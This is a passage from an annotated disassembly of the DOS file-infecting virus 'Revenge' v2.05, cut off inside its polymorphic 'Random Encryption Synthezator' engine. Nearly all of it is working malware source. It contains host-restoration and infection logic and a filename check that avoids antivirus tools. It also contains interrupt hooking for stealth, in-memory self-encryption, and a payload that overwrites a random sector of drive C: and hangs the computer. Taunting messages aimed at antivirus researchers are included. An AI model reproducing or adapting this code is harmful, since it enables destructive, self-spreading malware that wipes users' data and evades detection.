cs:[si+pklite_exe],1 ; Pklited file? jne no_pk_host_exe ; No? then jmp nop nop nop mov ds:[0Dh+100h],9090h ; Remove patch no_pk_host_exe: push ax mov ax,ds add ax,10h ; Add PSP add cs:[si+_reloss],ax ; Relocate segments add cs:[si+_relocs],ax mov ax,cs:[si+_exeip] mov cs:[si+file_ip],ax mov ax,cs:[si+_relocs] mov cs:[si+file_cs],ax mov ax,cs:[si+_exesp] mov cs:[si+file_sp],ax mov ax,cs:[si+_reloss] mov cs:[si+file_ss],ax pop ax push si add si,100h mov cx,offset(delmem_here)-100h ; offset(delmem_here2) !!! call remove_from_memory ;delmem_here2: pop si push si add si,offset(check_valid_fname) mov cx,virus_end-check_valid_fname call remove_from_memory pop si cli mov sp,cs:[si+file_sp] ; Set stack mov ss,cs:[si+file_ss] sti jmp dword ptr cs:[si+file_ip] ; Exec host file_ip dw 0 file_cs dw 0 file_sp dw 0 file_ss dw 0 check_valid_fname: push ds push si push di push bx mov di,dx mov si,offset(av_table) sub si,100h mov bx,di l_search_fname: cmp byte ptr [di],0 ; End of string? jz end_search ; Yes? then jmp nop nop nop cmp byte ptr [di],'\' ; Start of directory/file name? je mark_position ; Yes? then jmp nop nop nop next_search_fname: inc di jmp l_search_fname mark_position: mov bx,di jmp next_search_fname end_search: inc bx next_inv_fname: mov ax,cs:[si] ; Get 2 chars from table cmp ax,'##' ; End of table? je valid_fname ; Yes? then jmp nop nop nop cmp [bx+1],'DI' ; '?ID*.*' ? (AIDTEST?) jne check_table ; No? then jmp jmp print_msg_russ ; Yes? then jmp check_table: cmp ax,[bx] ; Invalid filename (in table)? je invalid_fname ; Yes? then jmp nop nop nop inc si ; Next table entry inc si jmp next_inv_fname valid_fname: pop bx pop di pop si pop ds ret invalid_fname: pop bx pop di pop si pop ds pop ax jmp restore_attr convert2uppercase: push di push ax l_c2up: mov ah,[di] cmp ah,0 ; End of string? jz exit_c2up ; Yes? then jmp nop nop nop cmp ah,'a' ; In lowercase? jb next_c2up ; No? then jmp nop nop nop cmp ah,'z' ; In lowercase? ja next_c2up ; No? then jmp nop nop nop sub ah,' ' ; Convert in uppercase next_c2up: mov [di],ah inc di jmp l_c2up exit_c2up: pop ax pop di ret db 'Crazy Little Thing Called PkLite',0 check4pklite_com: push di push ax push cx xor di,di cmp byte ptr [di+header],50h ; PUSH AX? (PKL 1.50+) jne no_pk150 ; No? then jmp nop nop nop inc di ; Skip 'push ax' no_pk150: cmp byte ptr [di+header],0B8h ; MOV AX,xxxx? jne no_pklite ; No? then jmp nop nop nop cmp byte ptr [di+header+3],0BAh ; MOV DX,xxxx? jnz no_pklite ; No? then jmp nop nop nop mov di,offset(header)+7 mov cx,16 xor ax,ax l_crc_pkl: add al,[di] ; Make CRC of code inc di loop l_crc_pkl cmp al,53h ; PKLite 1.00? je pk_100 ; Yes? then jmp nop nop nop cmp al,0E5h ; PKLite 1.15? je pk_115 ; Yes? then jmp nop nop nop cmp al,9Dh ; PKLite 1.50? jz pk_150 ; Yes? then jmp nop nop nop jmp no_pklite nop pk_100: mov ofs_patchcom2,71h mov inc_ofs_patch1,0 ; Dir patch+0 jmp pklite_found nop pk_115: mov ofs_patchcom2,73h mov inc_ofs_patch1,0 ; Dir patch+0 jmp pklite_found nop pk_150: mov ofs_patchcom2,84h mov inc_ofs_patch1,1 ; Dir patch+1 pklite_found: clc jmp pklite nop no_pklite: stc pklite: pop cx pop ax pop di ret check4pklite_exe: cmp _relocs,0FFF0h ; CS segment=0FFF0h? (like pklited file) jne not_found_pkexe ; No? then jmp nop nop nop cmp _exeip,100h ; IP=100h? (like pklited files) jne not_found_pkexe ; No? then jmp nop ; Yes? Seems to be a pklited exe file nop nop mov ax,4200h mov cl,4 mov dx,_hdrsize shl dx,cl ; header size * 16 = start of code mov ofs_segcode,dx add dx,6 ; Skip 6 bytes xor cx,cx call int_21 ; Lseek to end of header+6 mov ah,3Fh mov dx,offset(buffer_pkexe) mov cx,0Ah call int_21 ; Read from file mov si,offset(pkexe_code) mov di,offset(buffer_pkexe) mov cx,0Ah l_cmp_pkcode: mov al,[si] cmp al,[di] ; Check if it's a pklited exe file jne not_found_pkexe ; No? then jmp nop nop nop inc di inc si loop l_cmp_pkcode clc ret not_found_pkexe: stc ret buffer_pkexe: db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 pkexe_code: ; add ax,0 ; cmp ax,[2] ; jnb $+1Ch ; sub ax,0 db 5 db 0 db 0 db 3Bh db 6 db 2 db 0 db 73h db 1Ah db 2Dh ofs_segcode dw 0 print_msg_russ: push cs pop ds mov ah,9 mov dx,offset(msg_russian)-100h call int_21 ; Print msg cli hlt ; Hang computer print_REVENGE: mov ax,3 int 10h ; VIDEO: Change mode to 80x25 16col. mov ax,40h ; why?? mov es,ax ; why?? mov cx,0FFFFh mov ah,1 int 10h ; VIDEO: Set cursor characteristics ; CH bits 0-4 = start line in character cell ; bits 5-6 = blink attribute ; CL bits 0-4 = end line in character cell mov ax,0B800h mov es,ax ; ES:=video memory segment mov di,(3*80+28)*2 ; gotoxy(28,3) mov si,offset(this_is) write_this_is: mov ah,[si] cmp ah,0 ; End of string? jz wrote_this_is ; Yes? then jmp nop nop nop mov es:[di],ah ; Write char to screen add di,3*2 ; 2 chars between letters inc si jmp write_this_is wrote_this_is: mov di,(6*80)*2 ; gotoxy(0,6) mov bx,di mov si,offset(revenge) mov cx,12 ; 12 lines l_revenge_line: mov al,[si] cmp al,0 ; End of line? je new_revenge_line ; Yes? then jmp nop nop nop cmp al,' ' ; Space? jne cmp_b1 ; No? then jmp nop nop nop mov ah,0 ; Color: black jmp write_charAL_colorAH nop cmp_b1: cmp al,'' ; code? jne cmp126 ; No? then jmp nop nop nop mov ah,0C0h ; Blink jmp write_charAL_colorAH nop cmp126: cmp al,'~' ; ~ code? jne cmpp ; No? then jmp jmp code126p cmpp: cmp al,'#' ; '#' code? jne cmp_d ; No? then jmp jmp code126p cmp_d: cmp al,'d' ; 'd' code? jne cmp_w ; No? then jmp nop nop nop mov ah,0C0h ; Blink mov al,'' jmp write_2chars cmp_w: cmp al,'w' ; 'w' code? jne cmpadm nop nop nop mov ah,4 ; Color: red mov al,'' jmp write_2chars cmpadm: cmp al,'!' ; '!' code? jne no_special_char ; No? then jmp nop nop nop xor ax,ax ; Char 0, color black jmp write_2chars no_special_char: mov ah,4 ; Color: red write_charAL_colorAH: mov es:[di],ax inc di inc di inc si jmp l_revenge_line new_revenge_line: add bx,80*2 ; Next screen line mov di,bx inc si loop l_revenge_line mov di,(20*80+6)*2 ; gotoxy(6,20) mov si,offset(of_SSR) write_of_SSR: mov ah,[si] cmp ah,0 ; End of string? jz wrote_of_SSR ; Yes? then jmp nop nop nop mov es:[di],ah ; Write char to screen add di,3*2 ; 2 chars between letters inc si jmp write_of_SSR wrote_of_SSR: mov cx,200 ; !? mov si,1 sti change_line_colors: mov di,(20*80+5)*2 ; gotoxy(20,5) mov cx,68 l_set_colors: push cx mov ah,cl ; Calculate color mov cl,4 mov bx,si add ah,bl shl ah,cl shr ah,cl cmp ah,0 ; Black? jnz no_black ; No? then jmp nop nop nop mov ah,1 ; Skip black no_black: mov es:[di+1],ah ; Set char color pop cx inc di ; Next char inc di loop l_set_colors call delay inc si ; New colors in al,60h ; AT Keyboard controller 8042. cmp al,1 ; ESC key pressed? jne change_line_colors ; No? then jmp jmp print_msg_and_kill_sector nop delay: mov cx,0FFFFh loop $ mov cx,0FFFFh loop $ mov cx,0FFFFh loop $ ret code126p: push cx mov cl,[si+1] ; Number of chars to repeat cmp al,'~' jne codep nop ; '~' char nop nop mov ah,0 ; Color: Black jmp l_repeat_char nop codep: mov ah,0C0h ; Blink mov al,'' l_repeat_char: cmp cl,0 ; More chars? jz end_repeat_char ; No? then jmp nop nop nop mov es:[di],ax ; Write char inc di inc di dec cl jmp l_repeat_char end_repeat_char: inc si inc si pop cx jmp l_revenge_line write_2chars: mov es:[di],ax ; Write char inc di inc di jmp write_charAL_colorAH ; Write another char print_msg_and_kill_sector: mov ax,2 int 10h ; VIDEO: Change mode to 80x25 B&W mov al,3 int 10h ; VIDEO: Change mode to 80x25 16col. mov ah,1 mov cx,2000h ; Invisible cursor int 10h ; VIDEO: Set cursor characteristics mov cx,0 mov di,(9*80+8)*2 ; gotoxy(8,9) mov si,offset(release_msg) mov ax,0B800h mov es,ax ; Point to video memory l_print_version: push di call print_string pop di add di,80*2 ; Next screen line inc si add cx,1 ; Next line (inc cx!!) cmp cx,4 ; 4 lines printed? jne l_print_version mov ax,40h mov es,ax ; ES:=40h mov dx,es:[6Ch] ; Random sector mov cx,1 ; 1 sector mov al,2 ; C: int 26h ; DOS - ABSOLUTE DISK WRITE ; AL = drive number (0=A, 1=B, etc), ; DS:BX = Disk Transfer Address (buffer) ; CX = number of sectors to write, ; DX = first relative sector to write ; Overwrite random sector cli hlt ; Hang computer print_string: mov al,[si] mov ah,11 add ah,cl ; Line 1: color 11 -> blue ; Line 2: color 12 -> red ; Line 3: color 13 -> pink ; Line 4: color 14 -> yellow cmp al,'#' ; Special code? je skip_chars ; Yes? then jmp nop nop nop cmp al,0 ; End of string? jz end_print_string ; Yes? then jmp nop nop nop mov es:[di],ax ; Print char inc si inc di inc di jmp print_string end_print_string: ret skip_chars: mov al,[si+1] ; Number of chars to skip shl al,1 ; 2 bytes per each char mov ah,0 add di,ax ; Skip chars inc si inc si inc di inc di jmp print_string encrypt_i1: push cx push ax push si push di push es mov si,offset(encrypt_instructions) mov di,offset(enc_inst) mov al,enc_selector ror al,1 mov enc_selector,al mov cl,6 shl al,cl shr al,cl mov cl,3 mul cl add si,ax call copy_enc_inst pop es pop di pop si pop ax pop cx ret copy_enc_inst: cld mov cx,3 push ds pop es rep movsb ret enc_selector db 0 this_is db 'THIS IS',0 of_SSR db 'OF',9,'STAINLESS STEEL RAT',0 revenge: ; Compressed graphic ; Line 1 db '~',7,'','d',' ','#',5,'~',9,'','d',0,'~',7,'','#',3,'w' db '','','d',' ','','#',5,'!','','d','~',4,'','d','!','' db '#',5,'!','','d',' ','#',4,'~',3,'#',4,' ','d','!','','#',5,0 ; Line 2 db '~',7,'','#',3,'~',3,'','d','','d','w','','d',' ','','d' db '~',4,'','d',' ','','d','w','','d',' ','','#',3,'w','','d' db '','d','w','','#',3,' ','','d','w','','d',0 ; Line 3 db '~',6,'','#',3,'~',3,'','d',' ','','d','!','','d','!','' db '','~',3,'','d','!','','d','!','','d',' ','','d','~',3 db '','d','','d','~',3,'','d',' ','','d','!','','d',0 ; Line 4 db '~',6,'','#',7,'!','','#',7,'~',3,'','d','!','','d',' ','' db '#',7,'!','','d','~',3,'','d',' ','','#',7,'','#',7,0 ; Line 5 db '~',5,'','#',3,' ','','d','~',3,'','#',3,'w','','~',5,'' db 'd',' ','','','!','','#',3,'w','','~',3,'','d','~',3,'' db 'd','!','w','#',5,'','#',3,'w','',0 ; Line 6 db '~',5,'','d','~',3,'','d','~',3,'','d','~',4,'','~',4,'' db 'd','','','~',3,'','d','~',4,'',' ','','d',' ',' ','','d' db '~',5,'w','','','',' ','','d','~',4,'',0 ; Line 7 db '~',5,'','d','~',4,'','d','~',3,'','#',5,'~',6,'','d','~',5 db '','#',5,'!','','d','!','','d','~',3,'','~',3,'','d','!' db '','#',5,0 ; Line 8 db '~',4,'','#',3,'~',5,'','d','~',3,'w','w','~',8,'w','~',6,'w' db 'w','~',4,'w','~',3,'w',' ',' ','d','~',3,'','d','~',3,'w','w' db 0 ; Line 9 db '~',4,'','d','~',7,'','d','~',27h,'','#',6,0 ; Line 10 db '~',4,'w','','~',8,'','d','~',27h,'w','w','','!',0 ; Line 11 db '~',10h,'','d',0 ; Line 12 db '~',10h,'w',0 ; Uncompressed graphic: ; ; T H I S I S ; ; ޱ ޱ ; ޱ۱ ܱ ޱ ޱ ܱ ޱ ܱ ; ۱ ޱޱ۱ ޱ ޱ ޱ۱ ޱ۱ޱ߱ ޱ۱ ; ޱ ޱ ޱ ޱ ۱ ޱ ޱ ޱ ޱ ޱޱ ޱ ޱ ޱ ; ۱ ޱ ޱ ޱ ޱ ޱ ޱ ۱ޱ ; ޱ ޱ ޱ ޱ ޱ ޱ ޱ ޱ ߱ޱ ; ޱ ۱ ۱ ޱޱ ۱ ޱ ޱ ۱ ۱ ; ۱ ۱ ۱ ޱ ۱ ޱ ޱ ޱ ۱ ; ޱ ۱ ޱ ; ۱ ۱ ޱ ; ۱ ; ۱ ; ; O F S T A I N L E S S S T E E L R A T release_msg: db ' Revenge virus v 2.05 released at 08.08.96 ',0 db ' Copyright (c) 1996-97 2 Rats Techno Soft ',0 db '#',11h, 'Written by#',0Eh, '',0 db '#',0Dh, 'Stainless Steel Rat#',9, '',0 db 'StealthedMetamorphicCrazyForcedSynthesatedRandom' db 'MegaLayerEncryptionProgressionMutationEngine' db 'SeekAndDestroyerGenerator',0 msg_russian db ' pᨫ suxx y ?! :)',7,'$' header: _signature dw 0C3h _partpag dw 9090h _pagecnt dw 20CDh _relocnt dw 0 _hdrsize dw 0 _minmem dw 0 _maxmem dw 0 _reloss dw 0 _exesp dw 0 _chksum dw 0 _exeip dw 0 _relocs dw 0 _tabloff dw 0 _overlay dw 0 word_ofs1C dw 0 dw 0 dw 0 ; Unused! dw 0 ; Unused! dw 0 ; Unused! jmp_com db 0E9h ; JMP xxxx (JMP start virus) jmp_vir_l db 0 jmp_vir_h db 0 db ' , 㦠᭠... S.S.R.' file_month dw 0 returnAX_fffn dw 0 attributes dw 0 pklite_com db 0 ; 0 = Not compressed with Pklite ; 1 = Compressed with Pklite jmp_dest dw 0 ofs_patchcom2 dw 0 inc_ofs_patch1 dw 0 encrypted_byte? db 0 ; 0FFh -> Yes ; 0 -> No db 0 ; Unused! _FFFF dw 0FFFFh infection_count dw 0 encrypted_byte db 0 host_type db 0 ; 0 = COM ; 1 = EXE ofs_vircode dw 0 table_ext: db 'PAR' ; Windows swap file db 'PIF' ; Windows PIF db 'ICO' ; Windows Icon db '' ; ??? db 'PAS' ; Pascal sources db 'BAS' ; Basic sources db 'FRQ' ; ??? db '311' ; ??? db '312' ; ??? db 'TPU' ; Turbo Pascal Units db 'GIF' ; GIF graphic format db 'JPG' ; JPG graphic format db 'NLM' ; Novell Netware (?) db 'STM' ; ??? db 'MOD' ; MOD song format db 'CPP' ; C++ sources db 'DOT' ; WinWord db 0FFh ; End of table av_table: db 'DR' ; DRWEB db 'AI' ; AIDSTEST db 'AD' ; ADINF db 'CO' ; COMMAND.COM db 'HI' ; HIEW db 'AV' ; AVP, AVSCAN <Ŀ db 'WI' ; WIN db 'KE' ; KEYB db 'US' ; USER.EXE (Windows file) db 'GD' ; GDI.EXE (Windows file) db 'AV' ; Already checked!!! db '##' ; End of table db 0 ; Unused! db 0Dh,0Ah db 'y⨭ !' db 0Ah,0Dh db 'p ⥫, ! ᠬ ⮣ ⥫ ! ' db 0Dh,0Ah db ' !!! 砫 y ( AVPVE)!' db 0Dh,0Ah db ' 饬,HH H ⠢ 饥 ⫥' db 0Ah,0Dh db ' १ ᯮ ૨⮯⥫...' db 0Dh,0Ah db 'Exe-Pklite ⮫쪮 3.13 ... p p' db 0Dh,0Ah db '⥡ , ? : :),  !' db 0Dh,0Ah db 'H - H :SND ...' db 0Dh,0Ah db 'RES y - y 32ReGs,@$%^, !' db 0Dh,0Ah db 'Revenge - 袠p, 뫥 拉p 窮 ' db 0Dh,0Ah db 'yp-y ⢮ ⭮ y⨭ ⠫ SHITH!' db 0Dh,0Ah db '[⠫ ᪨]' db 0Dh,0Ah db ' - ᯥp᪨ ! 祭 p p ᠭ !' db 0Dh,0Ah db ' 祭 p,thanks. p - !' db 0Dh,0Ah db 'RES - p pp, Randomer' db 0Dh,0Ah db ' ⮬y y y .AVB p襣 ᯨ᪠ ! Best pp ' db 0Dh,0Ah db 'py ! AVP - py,Web - real SUXX !' db 0Dh,0Ah db '  ⢥ ( ᮡ y)!' db 0Dh,0Ah db ' S.S.R.' db 0Dh,0Ah db 'P.S. remember:8086 - 486, emul - TD386' db 0Dh,0Ah encrypt_instructions: add es:[di],al sub es:[di],al xor es:[di],al ror byte ptr es:[di],cl int_24: mov al,3 iret int_1c: pushf inc cs:tick_counter-100h cmp cs:tick_counter-100h,6000h ; Time to shake screen? ; (6000h ticks = aprox. 22 min.) je shake_screen ; Yes? then jmp nop nop nop popf iret shake_screen: dec cs:tick_counter-100h ; Continue with shake push ax push dx mov dx,3C4h mov al,1 out dx,al ; EGA: sequencer address reg ; clocking mode. Data bits: ; 0: 1=8 dots/char; 0=9 dots/char ; 1: CRT bandwidth: 1=low; 0=high ; 2: 1=shift every char; 0=every 2nd char ; 3: dot clock: 1=halved inc dx in al,40h ; Get random number and al,1 ; AL:=[0 | 1] out dx,al ; EGA port: sequencer data register ; Shake screen pop dx pop ax popf iret tick_counter dw 0 int_6: pop cs:caller_IP-100h pop cs:caller_CS-100h push cs:caller_CS-100h push cs:caller_IP-100h push es push ax push di mov ax,cs:caller_CS-100h mov es,ax mov di,cs:caller_IP-100h cmp byte ptr es:[di],0F0h ; Opcode 0F0? (Used by SND) jne exit_i6 ; No? then jmp nop nop nop mov al,es:[di+1] ; Get next byte rcr al,1 ; Using AX? jc encode_movax ; Yes? then jmp nop nop nop mov byte ptr es:[di],0B4h ; Encode MOV AH,xx mov al,es:[di+3] ; Get value of AH xor al,es:[di+2] ; Decrypt it mov es:[di+1],al ; and store it mov es:[di+2],21CDh ; Encode int 21h jmp exit_i6 nop encode_movax: mov byte ptr es:[di],0B8h ; Encode MOV AX,xxxx mov ax,es:[di+3] ; Get value of AX xor al,es:[di+2] ; Decrypt it xor ah,es:[di+2] mov es:[di+1],ax ; and store it mov es:[di+3],21CDh ; Encode int 21h jmp exit_i6 ; Stupid JMP!! nop exit_i6: pop di pop ax pop es iret caller_IP dw 0 caller_CS dw 0 int_ac: add sp,6 ; Remove return address from stack pushf push ax push bx push es mov bx,cs:ofs_i21_2-100h ; Get real int 21h mov ax,cs:seg_i21_2-100h mov es,ax mov ax,cs:_2bytes_21h-100h mov es:[bx],ax ; Restore original bytes pop es pop bx pop ax push si push cx push ax mov si,offset(function_table)-100h mov cx,3 l_cmp_function: cmp ah,cs:[si] ; Function in table? je found_function ; Yes? then jmp nop nop nop inc si loop l_cmp_function dec ah cmp ax,4A00h ; 4B00h? Exec? je found_function ; Yes? then jmp nop nop nop cmp ah,0FEh ; 0FFh? jne cmp_abcd ; No? then jmp jmp warning_msg ; Yes? then jmp cmp_abcd: cmp ax,0AACDh ; 0ABCDh? jne cmp_4b53 ; No? then jmp jmp warning_msg ; Yes? then jmp cmp_4b53: cmp ax,4A53h ; 4B53h? jne cmp_cccc ; No? then jmp jmp warning_msg ; Yes? then jmp cmp_cccc: cmp ax,0CBCCh ; 0CCCCh? jne cmp_dead ; No? then jmp jmp warning_msg ; Yes? then jmp cmp_dead: cmp ax,0DDADh ; 0DEADh? jne exec_21h ; No? then jmp jmp warning_msg ; Yes? then jmp exec_21h: pop ax pop cx pop si popf jmp jmp_21h nop function_table: db 3Dh ; Open db 4Eh ; Find-first db 4Fh ; Find-next found_function: pop ax pop cx pop si popf call decrypt_memory call set_original_i13h int 0ABh call encrypt_memory call restore_i13h jmp jmp_21h nop exit_21h: call restore_i13h call encrypt_memory pushf push es push ax push bx mov bx,cs:ofs_i21_2-100h mov ax,cs:seg_i21_2-100h mov es,ax mov es:[bx],0ACCDh ; int ACh in starting bytes of int 21h pop bx pop ax pop es popf retf 2 jmp_21h: pushf pop cs:flags-100h ; Save flags push es push bx push ax xor bx,bx mov es,bx ; ES:=0 mov bx,es:[2Ah*4] ; Get & save int 2Ah mov cs:ofs_i2A_2-100h,bx mov bx,es:[2Ah*4+2] mov cs:seg_i2A_2-100h,bx mov es:[2Ah*4],offset(int_2A_2)-100h ; Set new int 2Ah mov es:[2Ah*4+2],cs pop ax pop bx pop es push cs mov cs:saved_AX-100h,ax mov ax,offset(return_from_int)-100h ; Return address push ax mov cs:saved_DI-100h,di mov cs:saved_ES-100h,es push cs:flags-100h mov di,70h ; DOS Segment mov es,di push es xor di,di l_search_retf: ; Search for a RETF in DOS seg cmp byte ptr es:[di],0CBh ; RETF? je found_retf ; Yes? then jmp nop nop nop inc di jmp l_search_retf found_retf: push di ; The int will return to a RETF in the ; DOS segment -> It simulates that the ; call to the int was done by DOS mov di,cs:saved_ES-100h ; Restore registers mov es,di mov di,cs:saved_DI-100h mov ax,cs:saved_AX-100h db 0EAh ; jmp far (exec int 21h) ofs_i21_2 dw 0 seg_i21_2 dw 0 return_from_int: call restore_i2A_2 jmp int_2A_2 nop restore_i2A_2: pushf push es push bx xor bx,bx mov es,bx ; ES:=0 mov bx,cs:ofs_i2A_2-100h ; Restore int 2Ah mov es:[2Ah*4],bx mov bx,cs:seg_i2A_2-100h mov es:[2Ah*4+2],bx pop bx pop es popf ret int_2A_2: ; Int 2Ah: Called at the end of an int 21h nop nop pushf push es push ax push bx mov bx,cs:ofs_i21_2-100h mov ax,cs:seg_i21_2-100h mov es,ax mov es:[bx],0ACCDh ; int 0ACh in starting bytes of int 21h pop bx pop ax pop es popf call restore_i2A_2 retf 2 _2bytes_21h dw 0 ofs_i2A_2 dw 0 seg_i2A_2 dw 0 saved_AX dw 0 saved_DI dw 0 saved_ES dw 0 flags dw 0 encrypt_memory: pushf push es push si push cx push ax xor si,si mov ax,40h mov es,ax mov cl,es:[6Ch] ; Get random number (clock) mov cs:mem_mask-100h,cl mov al,cl mov cx,int_24-virus_start l_encrypt_memory: push cx mov cl,al add cs:[si],cl ; Encrypt code in memory ror byte ptr cs:[si],cl xor cs:[si],cl inc si pop cx loop l_encrypt_memory pop ax pop cx pop si pop es popf ret decrypt_memory: pushf push si push cx push ax xor si,si mov cx,int_24-virus_start l_decrypt_memcode: push cx mem_mask equ byte ptr $+1 mov cl,0 ; mov cl,mem_mask xor cs:[si],cl ; Decrypt code in memory rol byte ptr cs:[si],cl sub cs:[si],cl inc si pop cx loop l_decrypt_memcode pop ax pop cx pop si popf ret int_21: pushf db 9Ah ; call far ofs_i21 dw 0 seg_i21 dw 0 ret iret ; Unused! set_original_i13h: pushf push ax push es xor ax,ax mov es,ax ; ES:=0 mov ax,es:[13h*4] ; Get int 13h mov cs:ofs_actual_i13-100h,ax ; Save it mov ax,es:[13h*4+2] mov cs:seg_actual_i13-100h,ax mov ax,cs:ofs_i13-100h mov es:[13h*4],ax ; Set original int 13h mov ax,cs:seg_i13-100h mov es:[13h*4+2],ax pop es pop ax popf ret restore_i13h: pushf push ax push es xor ax,ax mov es,ax ; ES:=0 mov ax,cs:ofs_actual_i13-100h ; Restore int 13h mov es:[13h*4],ax mov ax,cs:seg_actual_i13-100h mov es:[13h*4+2],ax pop es pop ax popf ret ofs_i13 dw 0 seg_i13 dw 0 ofs_actual_i13 dw 0 seg_actual_i13 dw 0 warning_msg: mov ax,0B800h mov es,ax ; ES:=0B800 (text video segment) mov di,(6*80+15)*2 ; gotoxy(15,6) mov si,offset(msg_alarm)-100h mov cx,14 ; Number of msgs l_next_msg: push di xor bp,bp l_msg_nextchar: inc bp mov al,cs:[si] cmp al,0 ; End of string? jz msg_end ; Yes? then jmp nop nop nop mov ah,15 ; Textcolor=white stosw ; Put character on screen inc si jmp l_msg_nextchar msg_end: inc si push cx shl bp,1 mov cx,(80+15)*2 sub cx,bp mov ax,0F20h cld rep stosw ; Fill line with spaces pop cx pop di add di,80*2 ; Next line loop l_next_msg xor cx,cx mov bx,cx mov ax,1010h xor dx,dx l_change_colors: push di push bx mov di,0C8h mov bx,0Ah call sound pop bx pop di int 10h ; AX=1010h : Set individual DAC regs. ; BX=0 -> Color 0 inc dh ; Inc value for red push di push bx mov dl,dh and dl,0Fh cmp dl,1 jne loop_change_colors nop nop nop mov di,12Ch mov bx,12Ch call sound jmp loop_change_colors nop ; Unused code ! mov di,3E8h ; mov bx,12Ch ; call sound ; loop_change_colors: pop bx pop di jmp l_change_colors sound: push ax push bx push cx push dx push di mov al,0B6h out 43h,al ; Get the timer ready mov dx,14h mov ax,4F38h div di out 42h,al ; Send frecuency to timer mov al,ah out 42h,al in al,61h ; PC/XT PPI port B bits: ; 0: Tmr 2 gate  OR 03H=spkr ON ; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF mov ah,al or al,3 ; Speaker ON out 61h,al l_loop_sound2: mov cx,0AF1h l_loop_sound1: loop l_loop_sound1 dec bx jnz l_loop_sound2 mov al,ah ; Set Speaker to previous state out 61h,al ; PC/XT PPI port B bits: ; 0: Tmr 2 gate  OR 03H=spkr ON ; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF pop di pop dx pop cx pop bx pop ax ret iret ; Unused! db 0 ; Unused! msg_alarm db ' !!! ALARM WARNING DANGER APPROACHING !!!',0 db ' Hacker-fucker TSR shit or Any Virus Detected !!!',0 db ' Anyone who wants to fuck Revenge is Naivnij Man',0 db ' With best Wishes to E.Kaspersky !',0 db ' Now I''m CURELESS !!! SND Used !!! Rules !!!',0 db 'In future versions I will add :',0 db ' 1. Protected Mode Decryptor [SF0rCE]',0 db ' (Web,try to emul IT :)))) )',0 db ' 2. UniversalAntiDetector',0 db ' 3. Must Die: Lamers,Webs & other...',0 db ' 4. And other BUGs,GLUKs & SHITs !',0 db 'Dis is Continue... Win95 & her lamers must die!',0 db ' Searching... SEEK & DESTROY',0 db ' There can be only one ...',0 db 0Ah,0Dh,'--------------------' db 0Ah,0Dh,'--------------------' db 0Ah,0Dh,'Orign:NUkE HiM A11 !',0 db 'BIG NAWOROT',0 db 'BUGS INSIDE ',0 virus_end: SSR ends extrn res_engine:near extrn ssrme_engine:near extrn mme_engine:near end host ; End of SSR disasm ; (c) 1997, Tcp/29A (tcp@cryogen.com) ; ; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; ; Random Encryption Synthezator (RES), by SSR ; Disasm by Tcp/29A (tcp@cryogen.com) ; ; ; Entry: ; DS:DX = code ; BX = runtime offset ; CX = number of bytes to encrypt ; Return: ; DS:DX = encryptor+code ; CX = size encryptor+code .386p RES segment use16 assume cs:RES, ds:RES, es:RES, ss:RES org 0 RES_SIZE_DEC equ 300h ; But it only needs 169h res_engine: start: call res_delta res_delta: pop si sub si,3 ; Get delta-offset pop ax push cs push ax push es mov ax,es sub ax,10h mov es,ax mov di,100h push cx mov cx,offset(end_res) nop push ds push cs pop ds cld rep movsb ; Copy RES code to working area pop ds pop cx mov ax,offset(res_start+100h) push es push ax retf ; jmp res_start res_start: pop es mov si,100h mov ax,es add ax,(end_res-start+15)/16+1 mov es,ax ; Calculate base segment for decryptor mov cs:[si+runtime_ofs],bx mov cs:[si+code_length],cx push cx mov cx,RES_SIZE_DEC xor di,di mov al,90h ; NOP cld rep stosb ; Fill with NOPs call init_masks mov cx,8 ; 8 instructions per decryptor xor di,di add di,si l_select_instructions: push cx call RES_get_random mov ah,0 push cx mov cl,5 shr al,cl ; AX in [0..7] shl ax,1 shl ax,1 ; AX:=AX*4 (4 bytes per instruction) pop cx push di push si add di,offset(buffer_decryptor) add si,offset(decryptor_table) add si,ax push ax mov ax,cs:[si] ; Select an instruction for decryptor mov cs:[di],ax ; and store it mov ax,cs:[si+2] mov cs:[di+2],ax pop ax pop si pop di push di push si add di,offset(buffer_encryptor) add si,offset(encryptor_table) add si,ax push ax mov ax,cs:[si] ; Select the instruction for encryptor mov cs:[di],ax ; and store it mov ax,cs:[si+2] mov cs:[di+2],ax pop ax pop si pop di add di,4 pop cx loop l_select_instructions call reverse_decryptor_table call make_encryptor pop cx push cx mov bp,dx mov di,RES_SIZE_DEC mov cs:[si+code_CRC],0 l_encrypt_code: mov al,ds:[bp] mov es:[di],al mov ah,0 add cs:[si+code_CRC],ax ; Make code CRC encryptor db 8*4 dup(90h) ; Buffer for encryptor inc di inc bp loop l_encrypt_code push ds push cs pop ds xor di,di push si add si,offset(decryptor_code) mov cx,decrypted_code-decryptor_code nop cld rep movsb ; Copy decryptor to buffer pop si pop ds push es pop ds xor dx,dx ; DS:DX = Address of decryptor+code pop cx add cx,RES_SIZE_DEC ; Decryptor+encrypted code retf db 0 db 'RandomEncryptionSynthezator',0 db ' S.S.R. 1996-97',0 init_masks: push si mov cx,3 ; Only first 3 instructions need a mask l_next_mask: call RES_get_random mov byte ptr cs:[si+decryptor_table+3],al ; Store mask mov byte ptr cs:[si+encryptor_table+3],al add si,4 ; Next inst. loop l_next_mask pop si ret RES_get_random: pushf in al,40h ; Get random number ror al,1 xor al,53h popf ret make_encryptor: push es push ds push cs pop es push cs pop ds push si in al,40h ; Get random number mov cx,8 mov di,offset(encryptor) add di,si add si,offset(buffer_encryptor) l_make_encryptor: rcr al,1 ; Add instruction to encryptor? jc add_instruction ; Yes? then jmp nop nop add si,4 loop_make_encryptor: loop l_make_encryptor jmp encryptor_done nop add_instruction: cld push cx mov cx,4 rep movsb ; Store instruction pop cx jmp loop_make_encryptor encryptor_done: pop si pop ds pop es ret reverse_decryptor_table: push ax push bp push di push cx push bx mov cx,8/2 mov di,offset(buffer_decryptor) add di,si mov bp,offset(end_buffer_dec)-4 ; Point to last inst. add bp,si l_reverse_table: mov ax,cs:[di] ; Xchg instructions mov bx,cs:[bp] mov cs:[di],bx mov cs:[bp],ax mov ax,cs:[di+2] mov bx,cs:[bp+2] mov cs:[di+2],bx mov cs:[bp+2],ax sub bp,4 ; xchg next instruction add di,4 loop l_reverse_table pop bx pop cx pop di pop bp pop ax ret db 4 ; Unused !! decryptor_code: runtime_ofs equ word ptr $+1 mov bp,0 ; mov bp,runtime_ofs push 1100h+(90h+3Ch-20h) sub bp,offset(decryptor_code) mov 